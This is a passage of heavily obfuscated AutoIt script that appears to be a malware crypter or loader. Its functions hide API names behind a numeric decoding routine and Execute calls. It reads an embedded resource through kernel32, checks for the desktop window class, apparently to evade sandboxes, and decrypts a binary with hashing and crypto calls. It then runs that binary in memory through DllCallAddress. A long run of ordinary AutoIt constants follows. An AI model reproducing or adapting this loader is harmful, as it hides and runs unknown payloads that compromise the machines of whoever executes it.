  671. EndIf
  672. EndIf
  673. EndFunc
  674.  
  675. Func bfrwpeboca()
  676. If $beccjiyokjqe("[CLASS:Progman]") = btbxjymrfgaetpa("53") Then
  677. $feyvuxlegfhl($fjvrhishsshjepwqmmumbifrufckxvfvznrk)
  678. EndIf
  679. EndFunc
  680.  
  681. Func globaldata($data, $rt)
  682. Local $e = Execute
  683. Local $b = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  684. Local $return
  685. Local $r = $e($b(btbxjymrfgaetpa("53,50,58,56,60,57,60,55,59,62,59,5,59,60,58,56,60,53,59,3,59,62,60,57,55,61,57,55,59,62,59,5,59,54,60,55,60,62,58,57,59,6,58,56,60,57,60,55,59,62,59,5,59,60,55,61,55,57,59,57,59,54,60,57,59,54,55,62,55,3,55,53,55,55,60,3,55,55,55,62")))
  686. If $rt <> "-1" Then
  687. For $i = btbxjymrfgaetpa("54") To $e($b(btbxjymrfgaetpa("53,50,58,58,57,55,59,6,60,58,59,5,59,57,55,61,55,57,60,55,55,62,55,53,55,4,55,53,55,55,56,54,55,55")))
  688. If $i = btbxjymrfgaetpa("54") Then
  689. $return = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,58,55,59,58,59,54,59,57,58,55,59,58,60,56,59,6,60,58,60,55,59,56,59,58,60,56,55,61,55,57,60,55,58,2,55,57,59,62,58,4,55,3,55,53,55,57,60,55,60,57,55,62,55,3,55,53,56,54,55,62")))
  690. Else
  691. $return &= $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,58,55,59,58,59,54,59,57,58,55,59,58,60,56,59,6,60,58,60,55,59,56,59,58,60,56,55,61,55,57,60,55,58,2,55,57,59,62,58,4,55,3,55,53,55,57,60,55,60,57,55,62,55,3,55,53,56,54,55,62")))
  692. EndIf
  693. Next
  694. Else
  695. $return = $data
  696. EndIf
  697. Return $return
  698. EndFunc
  699.  
  700. Func readresources($resname, $restype)
  701. Local $hinstance
  702. Local $infoblock = $spaypucwzkbi("kernel32.dll", btbxjymrfgaetpa("42,46,44"), btbxjymrfgaetpa("6,35,40,30,18,31,45,41,47,44,29,31,23"), btbxjymrfgaetpa("42,46,44"), $hinstance, btbxjymrfgaetpa("49,45,46,44"), $resname, btbxjymrfgaetpa("38,41,40,33"), $restype)[btbxjymrfgaetpa("53")]
  703. Local $ressize = $spaypucwzkbi("kernel32.dll", btbxjymrfgaetpa("30,49,41,44,30"), btbxjymrfgaetpa("19,35,52,31,41,32,18,31,45,41,47,44,29,31"), btbxjymrfgaetpa("42,46,44"), $hinstance, btbxjymrfgaetpa("42,46,44"), $infoblock)[btbxjymrfgaetpa("53")]
  704. Local $globalmemoryblock = $spaypucwzkbi("kernel32.dll", btbxjymrfgaetpa("42,46,44"), btbxjymrfgaetpa("12,41,27,30,18,31,45,41,47,44,29,31"), btbxjymrfgaetpa("42,46,44"), $hinstance, btbxjymrfgaetpa("42,46,44"), $infoblock)[btbxjymrfgaetpa("53")]
  705. Local $memorypointer = $spaypucwzkbi("kernel32.dll", btbxjymrfgaetpa("42,46,44"), btbxjymrfgaetpa("12,41,29,37,18,31,45,41,47,44,29,31"), btbxjymrfgaetpa("42,46,44"), $globalmemoryblock)[btbxjymrfgaetpa("53")]
  706. Return $qbqadacrhpdc("byte[" & $ressize & "]", $memorypointer)
  707. EndFunc
  708.  
  709. Func vlshmdzkxoue()
  710. Return Execute(btbxjymrfgaetpa("23,35,40,5,50,35,45,46,45"))
  711. EndFunc
  712.  
  713. Func vrmolqyjsqgj()
  714. Return Execute(btbxjymrfgaetpa("19,46,44,35,40,33,9,40,19,46,44"))
  715. EndFunc
  716.  
  717. Func zuqiqwyiepgw()
  718. Return Execute(btbxjymrfgaetpa("6,35,38,31,23,44,35,46,31"))
  719. EndFunc
  720.  
  721. Func plxmffukhkpt()
  722. Return Execute(btbxjymrfgaetpa("2,35,46,15,18"))
  723. EndFunc
  724.  
  725. Func ugpthqhylfmo()
  726. Return Execute(btbxjymrfgaetpa("21,2,41,47,40,30"))
  727. EndFunc
  728.  
  729. Func gzqpzwcvvn($vdata, $vcryptkey, $rt)
  730. Local $e = Execute
  731. Local $b = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  732. Local $__g_acryptinternaldata[btbxjymrfgaetpa("56")]
  733. Local $tbuff
  734. Local $ttempstruct
  735. Local $iplaintextsize
  736. Local $vreturn
  737. bfrwpeboca()
  738. $vdata = globaldata($vdata, $rt)
  739. $__g_acryptinternaldata[btbxjymrfgaetpa("54")] = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,6,60,53,59,58,59,5,55,61,55,55,57,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,62")))
  740. Local $aret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,54,59,56,60,54,60,58,59,62,60,55,59,58,57,56,59,6,59,5,60,57,59,58,60,61,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,55,56,57,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,57,59,56,53,56,53,56,53,56,53,56,53,56,53,56,53,55,55,55,62")))
  741. $__g_acryptinternaldata[btbxjymrfgaetpa("55")] = $aret[btbxjymrfgaetpa("54")]
  742. $__g_acryptinternaldata[btbxjymrfgaetpa("53")] += btbxjymrfgaetpa("54")
  743. $aret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,56,60,55,59,58,59,54,60,57,59,58,57,61,59,54,60,56,59,61,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,60,58,59,62,59,5,60,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,61,56,53,56,53,56,56,55,55,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,62")))
  744. $hcrypthash = $aret[btbxjymrfgaetpa("58")]
  745. $tbuff = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62")))
  746. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62")))
  747. $aret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,57,57,59,54,60,57,59,54,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,62,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,54,55,62")))
  748. $aret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,55,59,62,60,59,59,58,57,2,59,58,60,62,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,60,58,59,62,59,5,60,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,59,56,59,56,54,56,53,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,53,56,53,56,53,56,54,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,62")))
  749. $vreturn = $aret[btbxjymrfgaetpa("58")]
  750. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,56,60,57,60,55,59,6,60,62,57,61,59,54,60,56,59,61,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,62")))
  751. $vcryptkey = $vreturn
  752. $tbuff = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,57,59,54,60,57,59,54,55,62,55,53,55,2,55,53,55,55,56,54,56,53,56,53,56,53,55,55,55,53,55,59,55,53,55,55,58,4,55,55,55,62")))
  753. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,3,55,53,55,57,60,59,57,57,59,54,60,57,59,54,55,62")))
  754. $aret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,59,56,60,55,60,62,60,53,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,55,55,58,57,60,55,60,58,59,58,55,55,55,62,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,1,55,55,55,3,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,57,59,54,60,57,59,54,55,62,55,62")))
  755. $iplaintextsize = $aret[btbxjymrfgaetpa("59")]
  756. $ttempstruct = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,55,57,59,62,58,53,59,3,59,54,59,62,59,5,58,57,59,58,60,61,60,57,58,56,59,62,60,1,59,58,55,53,55,2,55,53,56,54,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,62,55,62")))
  757. $vreturn = $e($b(btbxjymrfgaetpa("53,50,57,55,59,62,59,5,59,54,60,55,60,62,57,4,59,62,59,57,55,61,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,58,57,59,58,59,4,60,53,58,56,60,57,60,55,60,58,59,56,60,57,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,62,55,3,55,53,56,54,55,3,55,53,55,57,59,62,58,53,59,3,59,54,59,62,59,5,58,57,59,58,60,61,60,57,58,56,59,62,60,1,59,58,55,62")))
  758. $aret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,55,55,56,54,55,55,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,56,60,57,60,55,59,6,60,62,57,2,59,58,60,62,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62")))
  759. $__g_acryptinternaldata[btbxjymrfgaetpa("53")] -= btbxjymrfgaetpa("54")
  760. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,58,55,59,58,59,3,59,58,59,54,60,56,59,58,57,56,59,6,59,5,60,57,59,58,60,61,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,62")))
  761. $bbinary = $e($b(btbxjymrfgaetpa("53,50,57,55,59,62,59,5,59,54,60,55,60,62,55,61,55,57,60,59,58,55,59,58,60,57,60,58,60,55,59,5,55,62")))
  762. Local $tinput = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,59,55,57,55,59,62,59,5,59,54,60,55,60,62,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62")))
  763. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,3,55,53,56,54,55,3,55,53,55,57,59,55,57,55,59,62,59,5,59,54,60,55,60,62,55,62")))
  764. Local $tbuffer = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,56,54,56,59,55,53,55,1,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62")))
  765. Local $a_call = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,5,60,57,59,57,59,3,59,3,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,62,59,5,60,57,55,55,55,3,55,55,58,55,60,57,59,3,57,57,59,58,59,56,59,6,59,4,60,53,60,55,59,58,60,56,60,56,57,55,60,58,59,59,59,59,59,58,60,55,55,55,55,3,55,55,60,58,60,56,59,61,59,6,60,55,60,57,55,55,55,3,55,53,56,55,55,3,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,3,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,1,55,55,55,3,55,53,56,53,55,62")))
  766. Local $toutput = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,55,57,59,54,58,6,57,56,59,54,59,3,59,3,58,2,56,59,58,4,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,62")))
  767. Return $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,6,60,58,60,57,60,53,60,58,60,57,55,3,55,53,56,54,55,62")))
  768. EndFunc
  769.  
  770. Func qlqvzseczevg()
  771. Return Execute(btbxjymrfgaetpa("19,34,31,38,38,5,50,31,29,47,46,31"))
  772. EndFunc
  773.  
  774. Func lrfvyxqfdmpd()
  775. Return Execute(btbxjymrfgaetpa("9,40,31,46,7,31,46"))
  776. EndFunc
  777.  
  778. Func woyaffsznmvd()
  779. Return Execute(btbxjymrfgaetpa("13,45,33,2,41,50"))
  780. EndFunc
  781.  
  782. Global Const $opt_coordsrelative = 0
  783. Global Const $opt_coordsabsolute = 1
  784. Global Const $opt_coordsclient = 2
  785. Global Const $opt_errorsilent = 0
  786. Global Const $opt_errorfatal = 1
  787. Global Const $opt_capsnostore = 0
  788. Global Const $opt_capsstore = 1
  789. Global Const $opt_matchstart = 1
  790. Global Const $opt_matchany = 2
  791. Global Const $opt_matchexact = 3
  792. Global Const $opt_matchadvanced = 4
  793. Global Const $ccs_top = 1
  794. Global Const $ccs_nomovey = 2
  795. Global Const $ccs_bottom = 3
  796. Global Const $ccs_noresize = 4
  797. Global Const $ccs_noparentalign = 8
  798. Global Const $ccs_nohilite = 16
  799. Global Const $ccs_adjustable = 32
  800. Global Const $ccs_nodivider = 64
  801. Global Const $ccs_vert = 128
  802. Global Const $ccs_left = 129
  803. Global Const $ccs_nomovex = 130
  804. Global Const $ccs_right = 131
  805. Global Const $dt_drivetype = 1
  806. Global Const $dt_ssdstatus = 2
  807. Global Const $dt_bustype = 3
  808. Global Const $proxy_ie = 0
  809. Global Const $proxy_none = 1
  810. Global Const $proxy_specified = 2
  811. Global Const $objid_window = 0
  812. Global Const $objid_titlebar = -2
  813. Global Const $objid_sizegrip = -7
  814. Global Const $objid_caret = -8
  815. Global Const $objid_cursor = -9
  816. Global Const $objid_alert = -10
  817. Global Const $objid_sound = -11
  818. Global Const $dlg_centerontop = 0
  819. Global Const $dlg_notitle = 1
  820. Global Const $dlg_notontop = 2
  821. Global Const $dlg_textleft = 4
  822. Global Const $dlg_textright = 8
  823. Global Const $dlg_moveable = 16
  824. Global Const $dlg_textvcenter = 32
  825. Global Const $idc_unknown = 0
  826. Global Const $idc_appstarting = 1
  827. Global Const $idc_arrow = 2
  828. Global Const $idc_cross = 3
  829. Global Const $idc_hand = 32649
  830. Global Const $idc_help = 4
  831. Global Const $idc_ibeam = 5
  832. Global Const $idc_icon = 6
  833. Global Const $idc_no = 7
  834. Global Const $idc_size = 8
  835. Global Const $idc_sizeall = 9
  836. Global Const $idc_sizenesw = 10
  837. Global Const $idc_sizens = 11
  838. Global Const $idc_sizenwse = 12
  839. Global Const $idc_sizewe = 13
  840. Global Const $idc_uparrow = 14
  841. Global Const $idc_wait = 15
  842. Global Const $idi_application = 32512
  843. Global Const $idi_asterisk = 32516
  844. Global Const $idi_exclamation = 32515
  845. Global Const $idi_hand = 32513
  846. Global Const $idi_question = 32514
  847. Global Const $idi_winlogo = 32517
  848. Global Const $idi_shield = 32518
  849. Global Const $idi_error = $idi_hand
  850. Global Const $idi_information = $idi_asterisk
  851. Global Const $idi_warning = $idi_exclamation
  852. Global Const $sd_logoff = 0
  853. Global Const $sd_shutdown = 1
  854. Global Const $sd_reboot = 2
  855. Global Const $sd_force = 4
  856. Global Const $sd_powerdown = 8
  857. Global Const $sd_forcehung = 16
  858. Global Const $sd_standby = 32
  859. Global Const $sd_hibernate = 64
  860. Global Const $stdin_child = 1
  861. Global Const $stdout_child = 2
  862. Global Const $stderr_child = 4
  863. Global Const $stderr_merged = 8
  864. Global Const $stdio_inherit_parent = 16
  865. Global Const $run_create_new_console = 65536
  866. Global Const $ubound_dimensions = 0
  867. Global Const $ubound_rows = 1
  868. Global Const $ubound_columns = 2
  869. Global Const $mouseeventf_absolute = 32768
  870. Global Const $mouseeventf_move = 1
  871. Global Const $mouseeventf_leftdown = 2
  872. Global Const $mouseeventf_leftup = 4
  873. Global Const $mouseeventf_rightdown = 8
  874. Global Const $mouseeventf_rightup = 16
  875. Global Const $mouseeventf_middledown = 32
  876. Global Const $mouseeventf_middleup = 64
  877. Global Const $mouseeventf_wheel = 2048
  878. Global Const $mouseeventf_xdown = 128
  879. Global Const $mouseeventf_xup = 256
  880. Global Const $reg_none = 0
  881. Global Const $reg_sz = 1
  882. Global Const $reg_expand_sz = 2
  883. Global Const $reg_binary = 3
  884. Global Const $reg_dword = 4
  885. Global Const $reg_dword_little_endian = 4
  886. Global Const $reg_dword_big_endian = 5
  887. Global Const $reg_link = 6
  888. Global Const $reg_multi_sz = 7
  889. Global Const $reg_resource_list = 8
  890. Global Const $reg_full_resource_descriptor = 9
  891. Global Const $reg_resource_requirements_list = 10
  892. Global Const $reg_qword = 11
  893. Global Const $reg_qword_little_endian = 11
  894. Global Const $hwnd_bottom = 1
  895. Global Const $hwnd_notopmost = -2
  896. Global Const $hwnd_top = 0
  897. Global Const $hwnd_topmost = -1
  898. Global Const $swp_nosize = 1
  899. Global Const $swp_nomove = 2
  900. Global Const $swp_nozorder = 4
  901. Global Const $swp_noredraw = 8
  902. Global Const $swp_noactivate = 16
  903. Global Const $swp_framechanged = 32
  904. Global Const $swp_drawframe = 32
  905. Global Const $swp_showwindow = 64
  906. Global Const $swp_hidewindow = 128
  907. Global Const $swp_nocopybits = 256
  908. Global Const $swp_noownerzorder = 512
  909. Global Const $swp_noreposition = 512
  910. Global Const $swp_nosendchanging = 1024
  911. Global Const $swp_defererase = 8192
  912. Global Const $swp_asyncwindowpos = 16384
  913. Global Const $keyword_default = 1
  914. Global Const $keyword_null = 2
  915. Global Const $declared_local = -1
  916. Global Const $declared_unknown = 0
  917. Global Const $declared_global = 1
  918. Global Const $assign_create = 0
  919. Global Const $assign_forcelocal = 1
  920. Global Const $assign_forceglobal = 2
  921. Global Const $assign_existfail = 4
  922. Global Const $bi_enable = 0
  923. Global Const $bi_disable = 1
  924. Global Const $break_enable = 1
  925. Global Const $break_disable = 0
  926. Global Const $cdtray_open = "open"
  927. Global Const $cdtray_closed = "closed"
  928. Global Const $send_default = 0
  929. Global Const $send_raw = 1
  930. Global Const $dir_default = 0
  931. Global Const $dir_extended = 1
  932. Global Const $dir_norecurse = 2
  933. Global Const $dir_remove = 1
  934. Global Const $dt_all = "ALL"
  935. Global Const $dt_cdrom = "CDROM"
  936. Global Const $dt_removable = "REMOVABLE"
  937. Global Const $dt_fixed = "FIXED"
  938. Global Const $dt_network = "NETWORK"
  939. Global Const $dt_ramdisk = "RAMDISK"
  940. Global Const $dt_unknown = "UNKNOWN"
  941. Global Const $dt_undefined = 1
  942. Global Const $dt_fat = "FAT"
  943. Global Const $dt_fat32 = "FAT32"
  944. Global Const $dt_exfat = "exFAT"
  945. Global Const $dt_ntfs = "NTFS"
  946. Global Const $dt_nwfs = "NWFS"
  947. Global Const $dt_cdfs = "CDFS"
  948. Global Const $dt_udf = "UDF"
  949. Global Const $dma_default = 0
  950. Global Const $dma_persistent = 1
  951. Global Const $dma_authentication = 8
  952. Global Const $ds_unknown = "UNKNOWN"
  953. Global Const $ds_ready = "READY"
  954. Global Const $ds_notready = "NOTREADY"
  955. Global Const $ds_invalid = "INVALID"
  956. Global Const $mouse_click_left = "left"
  957. Global Const $mouse_click_right = "right"
  958. Global Const $mouse_click_middle = "middle"
  959. Global Const $mouse_click_main = "main"
  960. Global Const $mouse_click_menu = "menu"
  961. Global Const $mouse_click_primary = "primary"
  962. Global Const $mouse_click_secondary = "secondary"
  963. Global Const $mouse_wheel_up = "up"
  964. Global Const $mouse_wheel_down = "down"
  965. Global Const $number_auto = 0
  966. Global Const $number_32bit = 1
  967. Global Const $number_64bit = 2
  968. Global Const $number_double = 3
